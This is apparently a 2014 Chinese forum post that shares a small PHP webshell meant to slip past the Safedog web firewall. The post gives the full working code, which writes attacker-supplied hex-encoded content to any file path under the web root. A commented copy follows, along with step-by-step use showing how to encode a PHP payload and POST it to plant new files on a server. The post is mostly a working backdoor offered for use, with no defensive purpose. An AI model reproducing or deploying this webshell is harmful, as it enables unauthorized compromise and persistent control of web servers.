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56 lines
1.3 KiB
Markdown
56 lines
1.3 KiB
Markdown
php绕过安全狗检测的小马分享
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zph | 2014-08-28 15:10
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直接上代码：
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<?php
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$p=realpath(dirname(__FILE__)."/../").$_POST["a"];
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$t=$_POST["b"];
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$tt="";
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for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2));
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@fwrite(fopen($p,"w"),$tt);
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echo "success!";
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?>
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分析利用&过狗：
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<?php
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$p=realpath(dirname(__FILE__)."/../").$_POST["a"]; //定义$p为根目录的物理路径+$_POST["a"]的内容
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$t=$_POST["b"]; //定义$t为$_POST["b"]的内容
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$tt=""; //定义$tt为空
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for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2)); //for循环次数是$t长度/2，每循环一次就让$tt加上“%xx”这样的编码
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@fwrite(fopen($p,"w"),$tt); //写入文件地址是$p，内容是$tt
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echo "success!";
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?>
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利用方法：
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将写入的内容用url编码，比如
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<?php phpinfo();?>
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编码后为：
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%3C%3F%70%68%70%20%70%68%70%69%6E%66%6F%28%29%3B%3F%3E
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去掉其中的%，得到：
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3C3F70687020706870696E666F28293B3F3E
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然后访问后门，将POST内容改为：
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a=/111.php&b=3C3F70687020706870696E666F28293B3F3E
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即可写入内容
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过狗:
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url:http://zone.wooyun.org/content/14846
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